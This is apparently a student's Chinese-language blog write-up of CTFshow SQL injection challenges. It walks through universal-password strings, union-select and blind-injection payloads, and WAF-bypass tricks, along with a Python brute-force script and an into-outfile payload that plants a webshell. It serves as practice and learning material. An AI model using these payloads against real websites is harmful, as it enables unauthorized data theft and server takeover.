就剩一年的大学时光了,最近也很迷茫,想找实习,又得考托福,又想提前开始毕设,假期前又要上学校安排的实训,马上还又有一门考试,事情一堆,但又感觉整天不知道自己应该做什么。
在过完了我给自己安排的两个gap day后,想着那就索性照着实训的安排给自己再简简单单过一遍SQL注入吧,顺便把CTFshow刷一刷。
普通万能密码:
' or 1=1#
' or 1=1--+
骚套路万能密码:
ffifdyop
经过md5加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:'or'6<乱码> 即 `'or'66�]��!r,��b`
select * from admin where password=''or'6<乱码>'
就相当于select * from admin where password=''or 1 实现sql注入
新型万能密码:
(刚看到的一个网站中写到的)
当所有能用的东西都被过滤了,即可使用:
username = secpulse'=' password = secpulse'='
拼接起来就是:
select * from table where username='secpulse'='' and passowrd = 'secpulse'='';
sql解释引擎是从左至右执行: 数据库没有secpulse这个用户,结果是false false = '' 结果就是true
payload:
1' or 1=1%23
找到注入点后,用order by判断列数,构造payload,即可在联合查询中执行自己所想执行的查询命令
payload:
题目:
会判断username中是否存在flag字样:
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
SQL源码:
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
因为username中不能出现flag字符串,可以用hex编码或base64绕过:
payload1:
-1' union select hex(username),password from ctfshow_user2 where username='flag
payload2:
-1' union select to_base64(username),password from ctfshow_user2 where username='flag
和web172不同的是这题对回显的内容也做了判断
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
payload:
1' union select 1,2,password from ctfshow_user3 where username='flag'%23
replace替换绕过过滤
从源码看出本题不允许返回的内容中有数字,可以使用replace将各个被过滤的字符进行替换,收到后再将其替换回即可:
构造替换脚本:
i = 0
s = f"replace(password,'{i}','xx{chr(i + 65)}')"
for i in range(1,10):
s = f"replace({s},'{i}','xx{chr( i + 65)}')"
print(s)
通过replace的替换,可以将返回值中的数字都替换成指定的xxX形式的字符串,然后将得到的结果在替换回来并解码即可:
rsl='xxGxxDxxHxxExxGxxGxxHxxDxxGxxIxxGFxxHxxHxxHBxxGxxFxxDxxGxxDxxHxxGxxDxxD' \
'xxHxxDxxCxxGxxBxxDxxHxxCDxxDxxGxxGxxCxxGxxDxxDxxAxxCDxxDxxExxGxxExxGxxExxD' \
'xxFxxCDxxDxxIxxDxxIxxGxxBxxDxxIxxCDxxGxxDxxGxxDxxDxxGxxGxxGxxDxxFxxGxxGxxDxx' \
'FxxDxxAxxDxxBxxGxxDxxDxxDxxGxxBxxHD'
rsl=rsl.replace('xxA','0').replace('xxB','1').replace('xxC','2').replace('xxD','3').replace('xxE','4')\
.replace('xxF','5').replace('xxG','6').replace('xxH','7').replace('xxI','8').replace('xxJ','9')
flag = bytes.fromhex(rsl).decode("ascii")
print(flag)
从本题逻辑可以看出,本题不允许返回hex编码为0x00-0x7f区域内的内容,因此本题是无法正常返回我们的查询结果的,可以考虑使用into outfile的方法将一句话木马写到指定的文件中,使用蚁剑:
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
payload:
-1' union select 1,"" into outfile'/var/www/html/1.php
蚁剑连接后在config.php中找到数据库的用户密码,登录即可查询flag
$dbhost ="127.0.0.1";
$dbuser = "root";
$dbpwd = "root";
$dbname = "ctfshow_web";
$charName = "utf-8";
SELECT * from ctfshow_user5;
这题使用先想到用联合查询,但发现被过滤了,但是!这题原来用万能密码就能出:
payload:
1' or 1=1--+
payload:
1'/**/or/**/1=1%23
过滤了#、–、/**/(反正都用不了),用%0a代替空格构造
payload:
-1'%0aunion%0aselect%0a1,group_concat(password),3%0afrom%0actfshow_user%23
本题把%0a也给过滤了,使用%0c也可以实现绕过空格的效果
payload:
1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23
这题多过滤了一个%23注释,就用单引号闭合的方式吧
payload:
-1'union%0cselect%0c1,group_concat(password),3%0cfrom%0cctfshow_user%0cwhere'1'='1
题目:
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
本题过滤的有点彻底,看了其他师傅的WP后,原来还可以:
0'||username='flag
在MySQL中,||表示的是或符号,由于前方的id为0时无数据,因此会显示username=‘flag的内容。
题目
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
payload:
-1'or(id=26)and'1'='1
盲注可以分为时间盲注和布尔盲注
使用if判断、sleep函数,通过页面的回显时间是否存在延时来判断是否可注入。
通过页面的返回状态进行拆解
题目:
waf部分:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
sql部分:
$sql = "select count(pass) from ".$_POST['tableName'].";";
过滤较多,常规的盲注用不了,可以考虑使用Mysql的正则regexp
基本用法:
select * from table_name where name like 'Sunny';
select * from table_name where name regexp 'Sunny';
select column_name from table_name where column regexp 'flag|ctfshow'
select column_name from table_name where column regexp '[0-9]test'
本题参数使用的post传参,exp:
import requests
import string
url="http://6c365f8a-328f-4768-b99a-e75bc2a72ddd.challenge.ctf.show/select-waf.php"
flag=""
strr=string.ascii_lowercase+"_-{}"+string.digits
for i in range(50):
for j in strr:
payload = "(ctfshow_user)where(pass)regexp\"ctfshow{" + flag + j +"\""
data = {
"tableName": payload
}
re = requests.post(url, data=data)
if "$user_count = 1" in re.text:
flag += j
if flag[-1] == '}':
print(flag)
这题exp很奇怪,我刚开始在找到一个能够正常回显的flag字符位的时候就break跳出这一位的判断,但是当匹配到0}的时候居然也能够正常返回,最后出来的flag就怪怪的,后面看了其他师傅的wp改了一下就正常了。